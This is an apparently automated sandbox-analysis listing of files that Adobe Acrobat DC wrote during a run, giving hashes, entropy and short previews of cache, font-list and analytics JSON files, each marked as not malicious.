Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.728204828358771
Encrypted:	false
SSDEEP:	3:kkFkl4nHeW/ltfllXlE/HT8knZNNX8RolJuRdxLlGB9lQRYwpDdt:kKhn+WteT8MNMa8RdWBwRd
MD5:	BF2086C0CAD26B7AF2F79676CF9D749D
SHA1:	A9929B44D3F29B2901E0D1E1425478BFE18D328F
SHA-256:	22C45CA97F11DA8180C9168471C8826E47CACC3544081C0DDF1829EE9E066912
SHA-512:	0C2DDEDCDECDE9C79A7311C27A838093726B98D7E51381FAD7580AAC5CC952C455659C99C5BADC5040A589682A50F36F05951399CACA7841D333748F83D2738F
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W.... ...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKCPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:qPiDImsLNkPlE99SNxAhUe/3
MD5:	5568DE2040F209FF8D564F6B998AFED7
SHA1:	7A8D82AFC89A8157431EC7B69AD77A1BE4DD1AEB
SHA-256:	4F37292B583484B664344167CFEFDEBA2B9CCB15FDC6F63C11E705887D684F00
SHA-512:	83CEF9B39BD87993AF3F9F0B57DEE25474B1AA42CEC995E7CDB5951F673983169F054B43654E76CE137E1739313C82A01E1E2D40854001167E1F6FBCEF1C8CCE
Malicious:	false
Preview:	p...... .........K..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5584

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5584

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.344272678165064
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJM3g98kUwPeUkwRe9:YvXKXQVUYpW7YVGMbLUkee9
MD5:	80B3C06B842840A994868AB89E760D8A
SHA1:	5CBEEED26F03E1F4B35D9412E7466B5C92BF5205
SHA-256:	6808249B1E7AF2CFE8634C4C468B5DAEFA042F2DC7FADF39EE1EBD91FC976BEC
SHA-512:	1C2DFDCAEF72714744DE9F1CA78C610276326A81DC7CCA40FF11187A7E43A7C5128772C1FC86920C3F0AC1CB5D75C89CBF680D0A27FE8D727274883B28FAE1AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284253275632284
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJfBoTfXpnrPeUkwRe9:YvXKXQVUYpW7YVGWTfXcUkee9
MD5:	D426B8C014768169AB29B38CEA07E8A1
SHA1:	247DDD31EFB111384897221D3051B2737BE03213
SHA-256:	8A0868D18C87EBF102DE6A5DE47C8EF0D66B0444B6286B3A9A69C877656894F8
SHA-512:	F2DCDDE1410C98E6E63E3165F01796DB7666A40677E9A7D5577B9618D7DF11F5C7EF0C6D3F1B37046B7E4967F6FBBA2AED420E6A29AC71986ECB311EE5B64C53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.262205875631643
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJfBD2G6UpnrPeUkwRe9:YvXKXQVUYpW7YVGR22cUkee9
MD5:	BAB06FC8B18931CBCE43505898F8F05F
SHA1:	B415473BC16E20E1FE918A9C565BBF81A0B2B640
SHA-256:	29C0108957AE8C776BC6396F2BE7AB9081DE11358C91466350D5D8D75ECC2844
SHA-512:	7300F4C53F00494C053212EF790E71A5F1C757C60554480F15D73D5DCD096B1086084C72D6A343A3540077D1ADCD7876C35D93F6A9E1CBB5EF2FE2DFDAB91694
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.322495706410153
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJfPmwrPeUkwRe9:YvXKXQVUYpW7YVGH56Ukee9
MD5:	03F094F0D1A58168258CE55B602D5D42
SHA1:	4549053C0BB5C0DD0A1FE5BBBF0331BCC63362DF
SHA-256:	ACC593697295E96661002FC20952E14A878A00AA2B16B0A80444D16204E31D98
SHA-512:	29BB9023D4AAF2D47F4AD6CA03BBFF398AAEA852669045599B8C9FF4ABC38367C58876D0D263BD4477459289DB7686402AE608EF5340F330070F14B93285C5BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687846405735114
Encrypted:	false
SSDEEP:	24:Yv6XEiY6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSsq:YvsY6hgy6SAFv5Ah8cv/7
MD5:	6D809047B149012FA5F8F1C4D26ECA4B
SHA1:	D111DCE00FC0BE46FEE000732D497E617303F5C8
SHA-256:	681B5696764E241616905A19202AB2564A6E432F3CDC7E99ACCA043EB0C97C6F
SHA-512:	3FEEC160376B3197BDBF39D13B5BDEBCEC3EEE8A56F58FA99895D21712E24F5B2F1F089F46497B6E50615722B4EF68F50F19A2F265ACCC0E883823745791D54E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.266385518866169
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJf8dPeUkwRe9:YvXKXQVUYpW7YVGU8Ukee9
MD5:	A6F31C375C06A029406E6BFCA56B966D
SHA1:	D7E8F0469CCB2CA68A3F20475E75540815C6E91B
SHA-256:	10413A3D61D84F101444C2D7B86E986BC93AB3B51880060BA6CC734C7BDCE7CC
SHA-512:	40402B072A9083180F886FC587B666E0ECE3D681D8DABB5F4C675EBF6DEC3BE4CE194CE636C802B8EB27D39F66FCAE7B83286DBFE32427ABF2749934E3C7D223
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.268594868714517
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJfQ1rPeUkwRe9:YvXKXQVUYpW7YVGY16Ukee9
MD5:	E8B29A9EF8519C4C150C7D6D0122FC54
SHA1:	1BDE4C70B0040FC2650985F85B7BBE896B7362C0
SHA-256:	09F1AC6378D8EB73BCEAAC9E749D881BFB316C56BF9AB11DBA1881A93726A691
SHA-512:	06F43D6AD7FA44A3C00445CEE42B33C94423F2C33C46A3A1860970E852972ECF4A513DF69F090E3E56523822E73F3DD14AB26F4A6B3BA87EE02E9ADC7F10EE20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285351086650212
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJfFldPeUkwRe9:YvXKXQVUYpW7YVGz8Ukee9
MD5:	6BED5F1D625AAA5D387F33AD43A59554
SHA1:	083CD67C8095ABEA672C85B2B287CFF65484BF07
SHA-256:	716C3242B330FA1D7D97BBC1F21C23D0FD74255D6252CBD28D21FA3EECE08129
SHA-512:	26422BC550574ED9F202D49901FF1B18B1F7B58863C03329DAE04A38E7FE73FCF8E74BAA723095586E4C6DF1374374C11C3428401ADD60131EC87A903CC96C59
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.294557500858983
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJfzdPeUkwRe9:YvXKXQVUYpW7YVGb8Ukee9
MD5:	777E69CD4CB80A57794618E05D090547
SHA1:	7969D5E399B65CAF03AB7757F371E61009425AC7
SHA-256:	B03EB2B930A45AD30A9AC2A7A86A2F44DCDBC3ADF6AE32A80AF2A770B61B4ABF
SHA-512:	25A0E5B51E5C2E2CE3527A55902294AC070EC064F050F726244458CAA1FA206FBFC09D685F4CCED524B369F548DDD88C902EEB9B08398F14F2FA86C8D835468C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.274963715204999
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJfYdPeUkwRe9:YvXKXQVUYpW7YVGg8Ukee9
MD5:	3F4B86180582C3C94397E511AD6F7F7B
SHA1:	0CD5E97318806083333C5A1A62F1B4C072D49FFD
SHA-256:	6058021C3DDC73FB4ACBF41F036C8B73589C5B8ECC3A9559FF8ECC0DF7AAFE3C
SHA-512:	CB3537E9FDF14ECBC576F2A5147977A1A7F70F621C37D1CE21881F7721F5FC303240DD6A375AC63CE9C9A1138135B2155473EC10CA9FD52A65780CF616CB3700
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.260255606832947
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJf+dPeUkwRe9:YvXKXQVUYpW7YVG28Ukee9
MD5:	8FE11889467362DBBC68DEE9D7677579
SHA1:	4D91A2C30167FAC17CD5BC540E84FCD14C92A200
SHA-256:	431BAEF1997E3942547A4B8E1C8E2A45C3190A5EEA85B47C2D56F2B6DEE53841
SHA-512:	9164D5822F36BB1E3F8E0065F5C03453FEE95F07C1C55591A82F0DDED2E73A43FCBD3023CDEA74A3D6DE2BA15FA0FB944A698A838C171F5D5D4B86179D086889
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.258682883564739
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJfbPtdPeUkwRe9:YvXKXQVUYpW7YVGDV8Ukee9
MD5:	4BC893DC955B954C7320FB451627CA98
SHA1:	0DD3A654961369492BF36B7BADBA2B1673E5E83B
